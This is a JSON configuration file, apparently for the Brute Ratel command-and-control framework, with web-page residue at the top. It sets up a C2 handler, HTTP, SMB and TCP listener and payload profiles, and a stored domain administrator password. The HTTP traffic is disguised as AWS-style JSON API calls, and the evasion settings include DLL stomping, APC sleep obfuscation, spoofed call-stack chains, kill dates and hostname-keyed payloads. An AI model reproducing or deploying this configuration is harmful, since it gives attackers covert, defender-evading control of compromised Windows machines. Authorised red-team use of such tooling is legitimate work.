143 lines
9.0 KiB
JSON
143 lines
9.0 KiB
JSON
{
|
|
"admin_list": {
|
|
"admin": "password"
|
|
},
|
|
"user_list": {
|
|
"ratel": "ratel"
|
|
},
|
|
"validate_useragent": true,
|
|
"file_upload_chunk": 4194304,
|
|
"c2_handler": "0.0.0.0:8443",
|
|
"comm_enc_key": "test@123",
|
|
"credentials": [
|
|
{
|
|
"creddomain": "darkvortex.corp",
|
|
"crednote": "Domain Admin Password",
|
|
"credpass": "admin@123",
|
|
"creduser": "administrator"
|
|
}
|
|
],
|
|
"listeners": {
|
|
"primary-c2": {
|
|
"append": "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}",
|
|
"append_response": "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}",
|
|
"auth_count": 1,
|
|
"auth_type": false,
|
|
"c2_authkeys": [
|
|
"abcd@123"
|
|
],
|
|
"c2_uri": [
|
|
"en/ec2/pricing",
|
|
"locale=en"
|
|
],
|
|
"die_offline": false,
|
|
"empty_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n",
|
|
"request_headers": {
|
|
"Content-Type": "application/json",
|
|
"Referer": "microsoft.com"
|
|
},
|
|
"response_headers": {
|
|
"Server": "Apache/2.2.14 (Win32)",
|
|
"X-Backend-Server": "developer2.webapp.scl3.mozilla.com",
|
|
"X-Cache-Info": "not cacheable; meta data too large"
|
|
},
|
|
"host": "172.16.219.1",
|
|
"is_random": true,
|
|
"os_type": "windows",
|
|
"port": "443",
|
|
"prepend": "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \"",
|
|
"prepend_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"",
|
|
"rotational_host": "172.16.219.1",
|
|
"ssl": true,
|
|
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
|
|
"sleep": 1,
|
|
"delay_exec": 0,
|
|
"jitter": 0,
|
|
"stomp": "chakra.dll",
|
|
"obfsleep": "APC",
|
|
"data_encoding": "Base64",
|
|
"entrypoint": "user32.dll!DwmGetDxSharedSurface",
|
|
"entrypoint_offset": "0x1c",
|
|
"exec_method": "APC",
|
|
"rop_dll": "shcore.dll",
|
|
"stack_chain": "user32.dll!GetMessageW+0x2E,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1",
|
|
"killdate": "01 Dec 24 00:00 IST",
|
|
"key_strategy_type": "hostname",
|
|
"key_strategy_value": "DESKTOP-G15FRLS"
|
|
}
|
|
},
|
|
"payload_config": {
|
|
"python-c2": {
|
|
"append": "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}",
|
|
"append_response": "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}",
|
|
"c2_auth": "abcd@123",
|
|
"c2_uri": [
|
|
"en/ec2/pricing",
|
|
"locale=en"
|
|
],
|
|
"data_encoding": "Base64",
|
|
"delay_exec": 0,
|
|
"die_offline": false,
|
|
"empty_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n",
|
|
"entrypoint": "user32.dll!DwmGetDxSharedSurface",
|
|
"entrypoint_offset": "0x1c",
|
|
"exec_method": "Thread-0",
|
|
"host": "172.16.219.1",
|
|
"jitter": 0,
|
|
"key_strategy_type": "hostname",
|
|
"key_strategy_value": "DESKTOP-G15FRLS",
|
|
"killdate": "01 Dec 24 00:00 IST",
|
|
"obfsleep": "APC",
|
|
"port": "10443",
|
|
"mutate_data_method": "COFF",
|
|
"mutate_data_file": "/media/veracrypt1/brute-ratel/ratel-war-room/releases/adhoc_scripts/mutate_data_sample/modify_http.o",
|
|
"prepend": "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \"",
|
|
"prepend_response": "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"",
|
|
"request_headers": {
|
|
"Content-Type": "application/json",
|
|
"Referer": "microsoft.com"
|
|
},
|
|
"rop_dll": "shcore.dll",
|
|
"sleep": 1,
|
|
"ssl": true,
|
|
"stack_chain": "user32.dll!GetMessageW+0x2E,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1",
|
|
"stomp": "chakra.dll",
|
|
"type": "HTTP",
|
|
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
|
|
},
|
|
"smb": {
|
|
"c2_auth": "abcd@123",
|
|
"smb_pipe": "\\\\.\\pipe\\mynamedpipe",
|
|
"type": "SMB",
|
|
"stomp": "chakra.dll",
|
|
"obfsleep": "APC",
|
|
"key_strategy_type": "hostname",
|
|
"key_strategy_value": "DESKTOP-G15FRLS",
|
|
"sleep": 1,
|
|
"jitter": 0,
|
|
"delay_exec": 0,
|
|
"rop_dll": "shcore.dll",
|
|
"stack_chain": "win32u.dll!NtUserGetMessage+0x14,user32.dll!GetMessageW+0x2e,combase.dll!CoDisconnectContext+0xb08,combase.dll!CoDisconnectContext+0xa40,combase.dll!CoRevokeInitializeSpy+0x1100,combase.dll!CoRevokeInitializeSpy+0x1089",
|
|
"killdate": "01 Dec 24 00:00 IST"
|
|
},
|
|
"tcp": {
|
|
"c2_auth": "abcd@123",
|
|
"host": "127.0.0.1",
|
|
"port": "10000",
|
|
"type": "TCP",
|
|
"stomp": "chakra.dll",
|
|
"obfsleep": "Pooling-1",
|
|
"key_strategy_type": "hostname",
|
|
"key_strategy_value": "DESKTOP-G15FRLS",
|
|
"sleep": 1,
|
|
"jitter": 0,
|
|
"delay_exec": 0,
|
|
"rop_dll": "shcore.dll",
|
|
"stack_chain": "user32.dll!GetMessageW+0x2E,SHCore.dll!SHTaskPoolQueueTask+0x1c81,user32.dll!DwmGetDxSharedSurface+0xe1",
|
|
"killdate": "01 Dec 24 00:00 IST"
|
|
}
|
|
},
|
|
"ssl_cert": "cert.pem",
|
|
"ssl_key": "key.pem"
|
|
}
|